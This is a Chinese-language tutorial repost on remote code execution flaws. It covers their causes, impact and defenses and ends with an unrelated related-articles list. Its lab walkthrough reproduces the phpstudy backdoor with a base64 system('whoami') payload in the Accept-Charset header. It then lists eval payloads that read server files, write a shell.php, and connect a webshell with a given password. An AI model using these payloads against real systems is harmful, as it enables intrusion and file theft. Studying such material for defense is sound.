RCE 远程代码执行漏洞分析

news2024/9/25 7:24:57

RCE 漏洞

1.漏洞描述

  • Remote Command/Code Execute

  • 远程命令执行/远程代码执行漏洞

  • 这种漏洞通常出现在应用程序或操作系统中,攻击者可以通过利用漏洞注入恶意代码,并在受攻击的系统上执行任意命令。

2.漏洞场景

  • PHP 代码执行
  • PHP 代码注入
  • OS 命令执行
  • OS 命令注入
  • Java、Python……
  • Web 应用程序
  • 远程服务
  • 操作系统漏洞

3.漏洞原理

传入 PHP 代码执行函数的变量,客户端可控,并且没有做严格的过滤。那么攻击者可以随意输入(注入,注射,Inject)想要执行的代码,并且在服务器端执行。如果代码在服务器端执行成功,就认为存在 PHP 代码注入漏洞,也就是 RCE。

4.漏洞危害

继承当前用户权限:

  • GetShell,执行代码或命令。
  • 读写文件。
  • 反弹Shell。
  • 控制网站。
  • 控制系统。

5.漏洞评级

RCE漏洞通常被评级为高危或严重的漏洞,因为其危害性较大,能够导致系统完全被攻击者控制。

6.漏洞验证

  • phpstudy_2016-2018_rce_backdoor 漏洞复现

  • 打开 bp

    image-20231016121951332

  • 打开代理浏览器

    image-20231016122015833

  • 访问 php 页面

    image-20231016122049698

    image-20231016122109271

  • 回到 bp

    查看 http 历史,找到刚刚访问的 php 页面

    image-20231016122211545

  • 发送到 Repeater

    image-20231016122237107

  • 转到 Repeater

    image-20231016122308061

  • php 页面请求内容加

    Accept-Charset: 
    
  • 修改 Accept-Encoding,删除 deflate 前的空格

    Accept-Encoding: gzip,deflate
    
  • 将要执行的命令写入到 system(“”) 中如

    system("whoami");
    
  • Decoder 模块 base64 编码

    # 对 system("whoami") 编码
    c3lzdGVtKCJ3aG9hbWkiKTs=
    

    image-20231016121748478

  • 将编码放到 Accept-Charset:

    Accept-Charset: c3lzdGVtKCJ3aG9hbWkiKTs=
    

    image-20231016122431232

  • 点击 Send 发送

  • 查看返回的数据

  • 成功回显执行的命令

    image-20231016122527558

7.漏洞利用

代码执行漏洞的利用方式有很多种。

获取Shell,蚁剑可以直接连接。

shell: http://10.4.7.187/php/functions/eval.php
pass: code

获取当前文件的绝对路径。

?code=print(__FILE__);

读文件。

?code=print(file_get_contents('eval.php'));
?code=print(file_get_contents('c:/windows/system32/drivers/etc/hosts'));

写文件。

?code=file_put_contents('shell.php','<?php phpinfo();?>');
?code=file_put_contents(要写入的文件,要写入的内容)

8.漏洞防御

  • 尽量避免使用危险函数
  • 对用户输入的数据进行严格的验证和过滤,确保只接受预期的输入。
  • 限制应用程序或系统的权限,确保用户或攻击者无法执行危险的操作。
  • 及时更新和修复应用程序、操作系统和依赖库中的漏洞,以减少攻击面。
  • 输入验证、输出转义、防止代码注入等。

9.典型案例

  • 2017年Equifax数据泄露事件:攻击者利用RCE漏洞入侵了Equifax的服务器,窃取了超过1亿个消费者的敏感信息。
  • 2014年Shellshock漏洞:Shellshock是一个影响Bash(Unix和Linux操作系统中的一种Shell)的RCE漏洞,攻击者可以通过恶意环境变量注入恶意代码并执行任意命令。
  • 2010年Stuxnet蠕虫:Stuxnet是一种利用RCE漏洞的恶意软件,攻击了伊朗的核设施,导致严重的设备损坏。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1133944.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Android 系统架构

首语 由于工作内容的转变&#xff0c;使得我向Android系统方向转变&#xff0c;对于一个Android系统工程师&#xff0c;了解Android整个系统架构是必然的。本篇是Android系统学习的开篇&#xff0c;Android系统庞大且复杂&#xff0c;但是能对Android的认识更深&#xff0c;更…

测开 ( 项目篇 )

正文 - 项目实践 - 文件压缩 1.项目启动&#xff0c;介入了解需求 项目背景&#xff1a;磁盘空间不够&#xff0c;需要一个压缩、解压缩软件目标&#xff1a;完成所有文件类型的压缩、解压缩。时间&#xff1a;2018-6-1到2018-6-7项目成员&#xff1a;项目经理&#xff1a;唐僧…

如何做一个无符号数识别程序

1.状态分析 我们可以把无符号数分为&#xff1a;整数&#xff0c;带小数&#xff0c;带指数部分三种形式。以此构建一个DFA。首先需识别输入是整数还是小数点&#xff0c;若是整数部分输入然后还要再循环识别一次是否有小数点&#xff0c;最后识别是否有指数部分&#xff0c;指…

Linux程序地址空间

Tips: 之后的博客以记录笔记为主了 文章目录 0.前言历史遗留进程独立性 2. 地址空间是什么2.1 地址空间2.2 地址空间的区域划分 3. 页表4. 为什么要有进程地址空间 0.前言 历史遗留 #include<stdio.h> #include<stdlib.h>int g_val1; int g_val2 10;int main() …

如何提高app的广告变现能力?

对于中小型app&#xff0c;开发者在开发app之前&#xff0c;更应该考虑清楚app商业化的方向。 广告总收入A广告位收入B广告位收入C广告位收入...n广告位收入 单个广告位收入广告请求*广告填充率*广告展示率*eCPM/1000 1、找准用户质量 广告投放核心的指标是roi&#xff0c;…

【用一张动图解释 8 种常用网络协议】

网络协议就是计算机之间沟通的语言&#xff0c;为了有效地交流&#xff0c;计算机之间需要一种共同的规则或协议&#xff0c;就像我们和老外沟通之前&#xff0c;要先商量好用哪种语言&#xff0c;要么大家都说中文&#xff0c;要么大家都说英语&#xff0c;这才能有效地沟通。…

【CSS】伪类和伪元素

伪类 :hover&#xff1a;悬停active&#xff1a;激活focus&#xff1a;获取焦点:link&#xff1a;未访问&#xff08;链接&#xff09;:checked&#xff1a;勾选&#xff08;表单&#xff09;first-child&#xff1a;第一个子元素nth-child()&#xff1a;指定索引的子元素&…

40.查找练习题(王道2023数据结构第7章)

试题1&#xff08;王道7.2.4节综合练习5&#xff09;&#xff1a; 写出折半查找的递归算法。 #include<stdio.h> #include<stdlib.h> #include<string.h>#define MAXSIZE 10 #define ElemType int #define Status inttypedef struct{int data[MAXSIZE]; /…

单例模式详解【2023年最新】

一、单例模式概念 单例模式是一种创建型设计模式&#xff0c;它确保一个类只有一个实例&#xff0c;并提供一个全局访问点来访问该实例。它的目的是限制一个类只能创建一个对象&#xff0c;以确保在整个应用程序中只有一个共享的实例。 单例模式通常用于以下情况&#xff1a;…

服务容错框架Sentinel入门

概述 Sentinel&#xff0c;阿里开源的一套用于服务容错的综合性解决方案。它以流量为切入点&#xff0c;从流量控制、熔断降级、系统负载保护等多个维度来保护服务的稳定性。分布式系统的流量防卫兵。 特征: 丰富的应用场景&#xff1a;秒杀&#xff08;即突发流量控制在系统…

物联网AI MicroPython传感器学习 之 GP2Y10粉尘传感器

学物联网&#xff0c;来万物简单IoT物联网&#xff01;&#xff01; 一、产品简介 GP2Y10粉尘传感器用于检测非常细的空气漂浮颗粒物&#xff0c;主要用于空气净化系统中&#xff0c;传感器外观引脚如下图所示。 引脚定义 GND&#xff1a;地VCC&#xff1a;5VLED&#xff1a…

Dos和DDos攻击

Dos Denialof Service拒绝服务,利用程序漏洞或一对一资源耗尽的&#xff0c;攻击有计算机网络宽带攻击和连通性攻击 分类&#xff1a; D网络&#xff1a;耗尽目标网络带宽资源 如&#xff1a;ICMP Flood, UDP Flood D协议&#xff1a;攻击协议漏洞发起的拒绝服务攻击 如…

Leetcode—17.电话号码的字母组合【中等】

2023每日刷题&#xff08;九&#xff09; Leetcode—17.电话号码的字母组合 回溯法解题 实现代码 class Solution { public:vector<string> table {"","","abc","def","ghi","jkl","mno",&quo…

leetCode 283 移动零

//right指向待处理序列的首部 //left指向处理后序列的尾部class Solution {public void swap(int[] nums, int left, int right){int tmp nums[left];nums[left] nums[right];nums[right] tmp;}public void moveZeroes(int[] nums) {int n nums.length;int left 0;int rig…

Oracle(6) Control File

一、oracle控制文件介绍 1、ORACLE控制文件概念 Oracle控制文件是Oracle数据库的一个重要元素&#xff0c;用于记录数据库的结构信息和元数据。控制文件包含了数据库的物理结构信息、数据字典信息、表空间和数据文件的信息等。在Oracle数据库启动时&#xff0c;控制文件会被读…

【c#】2022创建WEB API接口教程demo

c#创建WEB API接口 创建WEB API接口结果图涉及到的技术设计流程创建WEB API接口 结果图 涉及到的技术 设计流程 1、创建WEB api项目,使用控制器和penapi勾选上,第一次创建项目时没有勾选,因为感觉没啥用。后面跑项目的时候,要把接口用swagger去直接生成的时候,还是需要…

新的抓包神器,完全免费,支持多平台!

目前IOS端的抓包软件&#xff1a; HTTP Catcher&#xff08;网球&#xff09;&#xff0c;免费下载&#xff0c;完整版需要内购。 Storm Sniffer&#xff08;螃蟹&#xff09;&#xff0c;免费下载&#xff0c;完整版需要内购。 Thor&#xff08;锤子&#xff09;&#xff0…

安全设备

一.防火墙 5层应用层 防火墙 4层 udp tcp 协议 华为 厂商 华为 h3 1.区域划分 Dmz 停火区 Untrust 不安全区域 Trust 安全区域 防火墙 默认禁止所有 二.Waf Web 应用防火墙 放到web前面 产品 雷池 绿盟 软件 安…

proxy解决跨域问题

在使用vite工具创建的项目中解决跨域问题&#xff1a; 在vue.config.js中配置如下代码&#xff1a; const { defineConfig } require(‘vue/cli-service’) module.exports defineConfig({ transpileDependencies: true, server:{ proxy:{ ‘/path’:{ target:‘https://i.…

21 行为型模式-职责链模式

1 职责链模式介绍 2 职责链模式原理 3 职责链模式实现 责任链模式的实现非常简单&#xff0c;每一个具体的处理类都会保存在它之后的下一个处理类。当处理完成后&#xff0c;就会调用设置好的下一个处理类&#xff0c;直到最后一个处理类不再设置下一个处理类&#xff0c;这时…